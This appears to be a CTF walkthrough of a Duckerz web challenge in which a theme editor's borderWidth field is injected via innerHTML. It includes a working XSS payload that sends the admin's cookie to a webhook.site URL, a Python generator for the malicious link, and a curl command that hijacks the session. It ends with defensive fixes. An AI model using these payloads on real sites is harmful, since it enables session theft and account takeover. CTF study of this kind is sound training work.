Theme Editor (Редактор тем) - Duckerz CTF
Theme Editor (Редактор тем) - Duckerz CTF
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: base64_url_parameter, cookie_exfiltration, innerHTML_injection, telegram_bot_trigger
Summary
Walkthrough of the CUSTOM Web Theme Editor (Редактор тем) - Duckerz CTF. Task: CSS theme editor with URL-based config sharing. Solution: Reflected XSS via innerHTML injection in borderWidth parameter, bypassing client-side validation to steal admin cookies through Telegram
Description
Оказывается администраторы даже такого безобидного сервиса, как редактор тем, тоже могут хранить секреты. Поделитесь своим творчеством с ними, может быть, это вам поможет
Translation: "It turns out that administrators of even such a harmless service as a theme editor can also store secrets. Share your creativity with them, maybe it will help you"
Target: http://tasks.duckerz.ru:30075/ Bot: @Theme_sharing_support_bot (Telegram)
Analysis
Application Functionality
The web application is a CSS theme editor with the following features:
- Configuring various style parameters (colors, sizes, fonts)
- Real-time theme preview
- Sharing themes via URL with base64-encoded config in the hash part
Vulnerable Code
In the theme-editor.js file, the applyConfig() function uses innerHTML to render the preview:
javascript read-only • copy allowedfunction applyConfig(config) { // ... const block = document.getElementById('canvas-block'); if (block) { block.innerHTML = ` <div style=" border: ${config.borderWidth} ${config.blockBorderStyle} ${config.borderColor}; // ... more styles "> Это пример содержимого блока... </div> `; } }
Key Vulnerability
- The
borderWidthparameter is directly inserted intoinnerHTMLwithout sanitization - The
validateConfig()validation exists but is NOT called when loading a theme from URL hash inwindow.onload - This is a classic Reflected XSS via DOM manipulation
Attack Vector
URL hash → base64 decode → JSON parse → applyConfig() → innerHTML injection
Solution
Step 1: Creating XSS Payload
Payload for the borderWidth field that escapes the style attribute and injects an img with onerror:
1px"><img src=x onerror="var i=new Image();i.src='https://webhook.site/YOUR-UUID?c='+document.cookie"><div style="border:1px
Step 2: Forming Malicious Config
python read-only • copy allowed#!/usr/bin/env python3 import json import base64 webhook_url = "https://webhook.site/848acebb-61f4-474c-abbf-74cc3c3057f6" payload = f'1px"><img src=x onerror="var i=new Image();i.src=\'{webhook_url}?c=\'+document.cookie"><div style="border:1px' config = { "bg": "#ffffff", "textColor": "#000000", "headerColor": "#000000", "headerSize": "2em", "borderColor": "#cccccc", "borderWidth": payload, # XSS payload here "fontFamily": "Arial", "padding": "20px", "margin": "0px", "shadowColor": "#000000", "shadowOffset": "4px", "borderRadius": "0px", "blockBg": "#ffffff", "headerFontWeight": "normal", "textAlign": "left", "lineHeight": "1.5em", "blockOpacity": "1.0", "headerTextTransform": "none", "blockBorderStyle": "solid", "shadowBlur": "4px" } encoded = base64.b64encode(json.dumps(config).encode()).decode() malicious_url = f"http://tasks.duckerz.ru:30075/#theme={encoded}" print(f"Malicious URL:\n{malicious_url}")
Step 3: Sending to Admin
Send the generated URL to the Telegram bot @Theme_sharing_support_bot (as indicated in the site footer).
Step 4: Intercepting Cookie
On webhook.site we receive a request with the admin's cookie:
GET /?c=session=eyJ1c2VyIjp7ImlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn19.aWjruA.iVPpeVu1zhmhUXvAul-OyshcxK8
Step 5: Session Hijacking
bash read-only • copy allowedcurl -b "session=eyJ1c2VyIjp7ImlkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn19.aWjruA.iVPpeVu1zhmhUXvAul-OyshcxK8" \ http://tasks.duckerz.ru:30075/profile
The flag is displayed on the admin's profile page.
Defense
How the code should have been protected:
javascript read-only • copy allowed// 1. Use textContent instead of innerHTML element.textContent = userInput; // 2. Or sanitize through DOMPurify element.innerHTML = DOMPurify.sanitize(userInput); // 3. Validate on the server // 4. Use CSP headers // 5. Set HttpOnly flag on cookie
References
- OWASP XSS Prevention Cheat Sheet
- PortSwigger DOM-based XSS
Key Takeaways / Lessons
- Mastering base64_url_parameter, cookie_exfiltration, innerHTML_injection, telegram_bot_trigger was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-19 • CUSTOM • Theme Editor (Редактор тем) - Duckerz CTF • Difficulty: Medium